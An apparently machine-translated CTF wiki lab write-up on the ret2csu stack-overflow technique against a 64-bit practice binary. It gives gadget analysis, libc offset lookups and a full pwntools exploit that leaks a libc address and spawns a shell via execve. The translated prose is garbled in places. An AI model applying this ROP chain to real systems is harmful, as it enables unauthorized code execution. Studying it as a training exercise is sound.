[CTF Wiki Pwn]Stackoverflow Lab007: ret2csu

1. Check protection mechanism

Result of checksec:

2. Source code

The source code of the program is:

#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
	char buf[128];
	read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
	write(STDOUT_FILENO, "Hello, World\n", 13);
	vulnerable_function();
}

The overflow point is the read function.

3. Principle of ret2csu

There are many materials to refer to, which are omitted here.

4. Can the conventional ret2libc method be used for this problem?

4.1 ret2libc method analysis

In fact, ret2scu can be classified into ret2libc. This section aims to introduce the difference between ret2scu and ret2libc. Therefore, ret2scu is listed separately from ret2libc.
The source code of this problem has only six lines and two functions. There is neither system nor / bin/sh. can the conventional ret2libc method be used to solve it? If you want to ret2libc, you need to disclose the address of a function in libc. In this question, you can only use the write function. After the write function is called once, the address item in the got table points to the address of the write function in libc.
At the overflow point of the read function, the return value can be overwritten as a write function. The corresponding parameter should be rdi = 0, rsi is the write function got table entry (this table entry points to the real address of the write function in libc), and rdx = 8. In this way, the address of write in libc can be disclosed.
To meet this requirement, you need to place the corresponding registers before calling write. These values can be obtained by looking up the gadget fragment. You can find it through the following three commands:

ROPgadget --binary level5 | grep "rdi"
ROPgadget --binary level5 | grep "rsi"
ROPgadget --binary level5 | grep "rdx"

The above three commands can only find the gadget fragments of rdi and rsi, but the gadget fragment of rdx is missing. Therefore, using the conventional ret2libc idea can not solve this problem.
ret2scu is required to solve this problem. ret2scu is also the method used when the general methods in ret2libc cannot work.

4.2 comparison with Wiki ret2libc3

stay [CTF Wiki Pwn]Stackoverflow Lab006: ret2libc3 experiment In, the payload of the leaked puts function is:

payload = ''
payload += 'A'*112
payload += p32(puts_plt_addr)
payload += p32(main_plt_addr)
payload += p32(puts_got_addr)

There are two differences from this question:
First, the title is 64 bits, and the register needs to be set in advance; wiki ret2libc3 is 32-bit. Put the parameters of puts on the stack; Setting registers requires specific gadget fragments, and it is easier to put parameters on the stack;
Second, only the write function can be disclosed in this problem, which has three parameters that need to be set in advance; wiki ret2libc3 discloses the put function, which has only one parameter; From the perspective of the number of parameters, ret2libc3 is also easier to disclose the real address of the library function in libc.

5. Problem solving ideas

The solution to this problem is to construct a payload three times and finally execute execve('/ bin/sh').
The first payload is to execute libc using stack overflow_ csu_ For the gadget in the init function, deploy the write function parameters, call the write function through the write function got table address to print its own function address, and finally re execute the main function to prepare for the next step;
The second payload is to execute libc using stack overflow_ csu_ For the gadget in the init function, call the read function through the get table address of the read function, write the execve function address and / bin/sh string to the bss segment, and re execute the main function again to prepare for the next step;
The third payload is to execute libc using stack overflow_ csu_ The gadget in the init function executes execve('/ bin/sh') written to the bss segment.
The program flow of executing payload three times is as follows:

6. Disclose the address of the write function (payload for the first time)

6.1 __libc_csu_init function

ret2csu's goal is to__ libc_ csu_ Start with init function and analyze it. The corresponding assembly of this function is:

00000000004005c0 <__libc_csu_init>:
  4005c0:       41 57                   push   r15
  4005c2:       41 56                   push   r14
  4005c4:       41 89 ff                mov    r15d,edi
  4005c7:       41 55                   push   r13
  4005c9:       41 54                   push   r12
  4005cb:       4c 8d 25 3e 08 20 00    lea    r12,[rip+0x20083e]        # 600e10 <__frame_dummy_init_array_entry>
  4005d2:       55                      push   rbp
  4005d3:       48 8d 2d 3e 08 20 00    lea    rbp,[rip+0x20083e]        # 600e18 <__init_array_end>
  4005da:       53                      push   rbx
  4005db:       49 89 f6                mov    r14,rsi
  4005de:       49 89 d5                mov    r13,rdx
  4005e1:       4c 29 e5                sub    rbp,r12
  4005e4:       48 83 ec 08             sub    rsp,0x8
  4005e8:       48 c1 fd 03             sar    rbp,0x3
  4005ec:       e8 0f fe ff ff          call   400400 <_init>
  4005f1:       48 85 ed                test   rbp,rbp
  4005f4:       74 20                   je     400616 <__libc_csu_init+0x56>
  4005f6:       31 db                   xor    ebx,ebx
  4005f8:       0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
  4005ff:       00
  400600:       4c 89 ea                mov    rdx,r13
  400603:       4c 89 f6                 mov    rsi,r14
  400606:       44 89 ff                  mov    edi,r15d
  400609:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  40060d:       48 83 c3 01           add    rbx,0x1
  400611:       48 39 eb                cmp    rbx,rbp
  400614:       75 ea                     jne    400600 <__libc_csu_init+0x40>
  400616:       48 83 c4 08           add    rsp,0x8
  40061a:       5b                          pop    rbx
  40061b:       5d                          pop    rbp
  40061c:       41 5c                     pop    r12
  40061e:       41 5d                     pop    r13
  400620:       41 5e                     pop    r14
  400622:       41 5f                      pop    r15
  400624:       c3                          ret

The start addresses of the two key gardet fragments are 0x400600 and 0x40061a respectively.

6.2 leakage process and stack space

The overflow point of this problem is the read function. The main idea is to use the gadget fragment in the csu function to cover the return value address, set several parameters of the write function, and finally call the write function to disclose its real address in libc.
In case of leakage, the layout of stack space is:

6.3 exp of leaked write

from pwn import *

level5 = ELF('./level5')
sh = process('./level5')
raw_input()

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_gadget = 0x0000000000400600
csu_behind_gadget = 0x000000000040061a

def csu(fill, rbx, rbp, r12, r13, r14, r15, main):
    payload = 'a' * 0x88
    payload += p64(csu_behind_gadget)
#    payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_gadget)
    payload += 'a' * 56
    payload += p64(main)
    sh.send(payload)
    sleep(1)

sh.recvuntil('Hello, World\n')
csu(0,0, 1, write_got, 8, write_got, 1, main_addr)

#write_addr = sh.recv(8)
write_addr = u64(sh.recv(8))
print hex(write_addr)

sh.interactive()

After executing the python script, you can get the address of the leaked write function: 0x7ffb5cb5d3b0

7. Write shellcode to bss segment (second payload)

In the previous section, the address of the write function in libc was successfully disclosed. Then, the base address of libc can be calculated according to the real address of the write function in libc, and the address of system or execve and / bin/sh in libc can be calculated.
There are four ways to calculate this address:
(1) Use Libcsearcher library;
(2) Via online website libc database search Calculate;
(3) Use the command to search manually (e.g. readelf, strings, etc.);
(4) Calculated using ELF interface.
The first two methods are automatic calculation, so the efficiency is high, but there are errors in the calculation results. If you can't get through, you can check them through the latter two methods.
In the selection of four methods, it is suggested that (4) > (3) > (2) > (1), or the combination of centralized methods can be used for complementary calculation.
Let's start with an online website:

The version found is libc6_ 2.19-0ubuntu6. 15_ In fact, the running version of AMD64 is 2.23. We first use 2.19 to find several addresses, and then check them manually.

  • The offset of write is 0x0ef3b0
  • The offset of system is 0x046590
  • str_ bin_ The offset of SH is 0x180543
  • The offset of execve is c5130

Check manually below:

readelf -a /lib/x86_64-linux-gnu/libc-2.23.so| grep "write"

The offset of write is f73b0

readelf -a /lib/x86_64-linux-gnu/libc-2.23.so| grep "system"

The offset of system is 0x453a0

strings /lib/x86_64-linux-gnu/libc-2.23.so -tx|grep "/bin/sh"

The offset of "/ bin/sh" is 0x15bb2b

readelf -a /lib/x86_64-linux-gnu/libc-2.23.so| grep "execve"

The offset of execve is 0xcc7f0
Note: the results given by the online website are incorrect. We use the results found manually to fill in the payload.
Then, the payload s to be sent are as follows:

sh.recvuntil('Hello, World\n')
#raw_input()
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr)+'/bin/sh\x00')

The layout of the stack is not drawn, which is similar to that above.

8. Two small knowledge points

Here, we insert two small knowledge points or possible doubts:
The first point: every time you run, level 5 does not open the pie. Why does the real address of the write function change?
Although the pie of level 5 is turned off, libc2 23's pie is open. Many people tend to mix binary programs with dynamically linked so, which will affect the analysis. Please compare the protection mechanisms of the two in the figure below to avoid confusion during analysis.

Second point: in this question, when gdb debugs the second payload jump to csu call read, it will get stuck after ni. The main reason is that gdb debugging and python script are out of sync. In this case, raw needs to be added before sending the second payload, that is, before csu(0, 1, read_got, 16, bss_base, 0, main_addr)_ input().

9. Execute / bin/sh (third payload)

Finally, the execve function is called, which mainly places the bss first address (execve function address) and bss+8 (/ bin/sh) in the stack space, and then jumps to csu for execution. payload is:

sh.recvuntil('Hello, World\n')
csu(0, 1, bss_base, 0, 0, bss_base+8, main_addr)

10,exp

from pwn import *

level5 = ELF('./level5')
sh = process('./level5')
#raw_input()

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

#context.log_level = 'debug'

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_gadget = 0x0000000000400600
csu_behind_gadget = 0x000000000040061a

def csu(rbx, rbp, r12, r13, r14, r15, main):
    payload = 'a' * 0x88
    payload += p64(csu_behind_gadget)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_gadget)
    payload += 'a' * 56
    payload += p64(main)
    sh.send(payload)
    sleep(1)

sh.recvuntil('Hello, World\n')
csu(0, 1, write_got, 8, write_got, 1, main_addr)

write_addr = u64(sh.recv(8))
write_offset = libc.symbols['write']
system_offset = 0x3adb0
bin_sh_offset = 0x15bb2b
execve_offset = libc.symbols['execve']
libc_base = write_addr - write_offset
execve_addr = libc_base + execve_offset
#gdb.attach(sh)

sh.recvuntil('Hello, World\n')
raw_input()
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr)+'/bin/sh\x00')

sh.recvuntil('Hello, World\n')
csu(0, 1, bss_base, 0, 0, bss_base+8, main_addr)
sh.interactive()

Keywords: CTF

Added by bender on Sat, 22 Jan 2022 11:21:57 +0200